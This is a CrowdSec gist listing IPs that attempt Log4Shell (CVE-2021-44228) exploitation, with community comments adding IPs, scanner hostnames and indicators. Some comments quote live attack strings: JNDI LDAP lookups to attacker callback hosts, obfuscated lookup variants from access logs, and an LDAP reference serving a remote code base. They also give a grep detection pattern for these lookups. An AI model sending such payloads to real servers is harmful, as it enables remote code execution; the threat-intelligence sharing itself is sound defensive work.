IPs exploiting the log4j2 CVE-2021-44228 detected by the crowdsec community

log4j_exploitation_attempts_crowdsec.csv

This list has been generated by the Crowdsec community.

If you are already using crowdsec and want to help build the list of bad actors trying to exploit the log4j2 vulnerability, you can just run cscli collections install crowdsecurity/http-cve and reload your crowdsec agent.

If you are not using crowdsec yet, the setup documentation can be found here.

This list includes both curated data (validated IPs) and raw data (that we were not able to assess automatically based on the community reports) so it's possible some false positives are present in it.

Some explanation on the status attribute:

• Validated: We have enough data to take a decision about the IP, the IP is actually malicious
• Benign: Known public scanner. While the IP tries to exploit the vulnerability, it belongs to a known cybersecurity actor.
• Pending: We have received enough data from the community to have a closer look at the IP, but we do not have enough information to take a decision
• not_enough_data: Some community members reported the IP, but not enough for us to be able to have a closer look.

We also made available a real-time tracker on our website: https://crowdsec.net/log4j-tracker/

@blotus 139.59.108.31 should be marked as Benign - Kryptos Logic - https://twitter.com/kryptoslogic/status/1469723996845486090?s=21
https://www.greynoise.io/viz/ip/139.59.108.31

@emilstahl Thanks, good catch !
I've updated the list, the main issue with Kryptos Logic is that they do not identify their IPs (by setting proper reverse DNS records for example), and as we do not have access to the actual logs of the attacks, it's quite complex for us to classify them as benign automatically.

Are these classified for ingress or egress traffic?

@amitmahbubani Ingress.

Hello,
In my case i found theses ips (from HTTP requests and their scripts that download)

111.90.159.106
122.51.164.83
146.71.79.230
185.181.10.234
185.191.32.198
207.38.87.6
3.215.110.66
31.210.20.181
34.81.218.76
42.112.28.216
45.137.151.106
80.211.206.105
82.118.18.201

@MyTheValentinus, can we also collect name and hashes of the scripts?

Hello,

we've seen these:

192.168.50.4
193.3.19.159
167.71.13.196 <- already on list
45.83.193.150

Is there a specific reason why there is not a single IPv6 address here ?

@Matioupi see lines L158 and L376

Lots of people just looking for dns canary. Of this list, I checked port 389 and 1389 using ldapsearch -x -h $ip -p $port... Only see one that is still serving exploits, looks like a powershell script payload
javaClassName: foo
javaCodeBase: hXXp://45.146.164.160:8085/
objectClass: javaNamingReference
javaFactory: Runner

Can we get a separate list of only the validated IPs?

Can't load this into any automation when over half the IPs are marked as benign.

Thanks for this awesome list just included in here for a big easy to grepable txt file.
https://github.com/hackinghippo/log4shell_ioc_ips

In case anyone wants it, here's a quick one-liner to pull the validated IPs and spit them out into a text file for things like Palo Alto dynamic lists to ingest.

foreach ($t in ((invoke-webrequest -uri "https://gist.githubusercontent.com/blotus/f87ed46718bfdc634c9081110d243166/raw/2a628672d442985a9850641eef9a139be1f90a56/log4j_exploitation_attempts_crowdsec.csv").content).split("`n")) { if ($t.split(",")[1] -eq "validated") {add-content "JavaNeedsToDie.txt" $t.split(",")[0]}}

From /r/crowdsec

Got a new one here 162.55.90.26

Noticed these IPs in our AWS WAF logs trying to exploit Log4Shell:

• 167.99.32.139
• 195.54.160.149 <-- already validated on the list
• 3.85.59.114 <-- already on list but not validated (not enough data)

two additions we have seen in the last 24 hours

185.220.101.38
61.175.202.154

https://crowdsec.net/log4j-tracker/

IPs that are not validated in this list and that are detected in customer environment:
185.220.100.248 (not in list -- tor exit node)
185.220.101.179 (not in list -- tor exit node)
193.3.19.159 (not in list -- callback IP from 185.220.100.248 & 185.220.101.179 -- one of many variotions: ${jndi:ldap://193.3.19.159:53/c)
194.195.244.69 (pending in your list)
188.166.92.228 (not_enough_data in your list)
167.99.164.160 (not_enough_data in your list)
167.99.164.201 (not_enough_data in your list)
134.209.163.248 (callback IP from 168.99.164.160 & 167.99.164.201 & 188.166.92.228 -- one of many variations: ${jndi:ldap://134.209.163.248:80/callback/ldap2)
164.90.199.216 (not in list -- Not used maliciously in our logs, only testing -- ${jndi:ldap://randomstring.dnslog.cn/a)
45.83.193.150 (not in list -- callback IP from 51.105.55.17 & 150.158.189.96 & 195.251.41.139 & 167.71.175.10 & 112.74.52.90 -- $%7Bjndi:ldap://45.83.193.150:1389/Exploit%7D)
162.55.90.26 (not in list -- callback IP from 45.56.80.11 -- ${jndi:ldap://162.55.90.26/2639964726/C)
185.224.139.151 (not in list -- callback IP from 164.52.53.163 -- ${jndi:ldap://185.224.139.151:1389/Exploit)
45.130.229.168 (not in list -- callback IP from 20.71.156.146 & 221.199.187.100 -- one of the variations: /$%7Bjndi:ldap://45.130.229.168:1389/Exploit%7D)

Last updated 17/12 13:16 CET+1

104.248.51.21 Log4j attempts :)

find /var/log -name *.gz -print0 | xargs -0 zgrep -E -i '$({|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+'
/var/log/apache2/access.log.4.gz:80.245.62.2 - - [12/Dec/2021:21:07:41 +0100] "GET /?x=${jndi:ldap://${hostName}.c6quk3p5g22ot0u2gn20cg5fqteydej91.interactsh.com/a} HTTP/1.1" 200 7157 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}.c6quk3p5g22ot0u2gn20cg5fqteydej91.interactsh.com}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6quk3p5g22ot0u2gn20cg5fqteydej91.interactsh.com}"

167.99.172.99
159.89.133.216
147.182.179.141
137.184.111.180
137.184.102.82
159.89.146.147
137.184.99.237
137.184.96.227
147.182.154.100
134.122.33.6
159.89.154.185
137.184.98.145
137.184.96.216
138.68.250.214
165.227.32.109
167.99.172.148
137.184.102.188
137.184.101.21
159.203.58.73
147.182.146.165
147.182.219.9
137.184.104.73
137.184.98.176
137.184.105.192
137.184.104.197
165.227.37.189
147.182.213.12
161.35.97.10
147.182.150.18
147.182.150.124
159.89.94.219
157.245.129.50
143.110.221.204
161.35.119.60
159.89.85.91
147.182.156.12
137.184.106.119
167.99.172.58
167.99.172.213
147.182.154.110
143.110.221.219
138.197.167.229
147.182.187.229
159.89.150.150
147.182.150.37
147.182.150.23
147.182.146.192
137.184.138.79
137.184.137.242
137.184.107.109
147.182.169.254

Those are all binaryedge scanners. Some of the hostnames
jerry-se-do-na-central-scanners-86.do.binaryedge.ninja
jerry-se-do-na-central-scanners-41.do.binaryedge.ninja
jerry-se-do-na-central-scanners-22.do.binaryedge.ninja
jerry-se-do-na-central-scanners-87.do.binaryedge.ninja
jerry-se-do-na-central-scanners-40.do.binaryedge.ninja
jerry-se-do-na-central-scanners-82.do.binaryedge.ninja
jerry-se-do-na-central-scanners-12.do.binaryedge.ninja

195.54.160.149
58.39.121.78
80.255.7.121

We had a log4j attack come in from 89.45.7.181 and establish a c2 connection to 92.222.136.224

3.94.100.157 - - - CVE-2021-44228

Hello,
New Log4j attack from IP : 98.0.242.10 to an C&C server with this IP 185.8.172.132

The following IPs are registered on behalf of datagridsurface.com which can be checked with a simple lookup

172.104.230.136,scan4.datagridsurface.com.
172.104.230.214,scan5.datagridsurface.com.
172.104.230.234,scan2.datagridsurface.com.
172.104.230.246,scan3.datagridsurface.com.
172.104.230.25,scan1.datagridsurface.com.
194.233.160.160,scan6.datagridsurface.com.
194.233.160.161,scan9.datagridsurface.com.
194.233.160.162,scan7.datagridsurface.com.
194.233.160.164,scan8.datagridsurface.com.
194.233.160.165,scan10.datagridsurface.com.

194.163.182.89 is trying other fuzzing techniques besides log4j

194.163.182.89 is trying other fuzzing techniques besides log4j

You're right @avipars - this is actually reported on CrowdSec CTI page which you can find here : https://app.crowdsec.net/cti/194.163.182.89

194.163.182.89 is trying other fuzzing techniques besides log4j

You're right @avipars - this is actually reported on CrowdSec CTI page which you can find here : https://app.crowdsec.net/cti/194.163.182.89

are you working for them? the page is behind a paywall... please share the details here

194.163.182.89 is trying other fuzzing techniques besides log4j

You're right @avipars - this is actually reported on CrowdSec CTI page which you can find here : https://app.crowdsec.net/cti/194.163.182.89

are you working for them? the page is behind a paywall... please share the details here
Hey @avipars
There is no paywall, it just requires creating a free account (only user email and password are necessary). Then you can use the Console to monitor your CrowdSec instances - if you have any - or to explore the CTI - an API is also available